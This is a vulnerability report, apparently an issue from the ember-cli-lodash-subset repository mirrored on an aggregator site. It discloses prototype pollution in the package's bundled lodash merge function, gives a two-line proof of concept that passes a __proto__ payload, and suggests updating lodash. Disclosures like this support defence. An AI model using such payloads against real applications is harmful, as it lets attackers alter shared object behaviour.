ember-cli / ember-cli/ember-cli-lodash-subset

Prototype Pollution in the Package

Open
#41 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
2
Forks
2
PR merge metrics
No merged PRs in 30d

Description

I have found a prototype pollution vulnerability of function `merge`. Here is the exploit:

```
var _ = require('ember-cli-lodash-subset');
_.merge({}, {['__proto__']: {polluted: 'yes'}});
```

The project uses a subset of lodash 4.17.4 (which has a prototype pollution vulnerability) and repackages it.

It can be safer if lodash is updated to recent versions.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.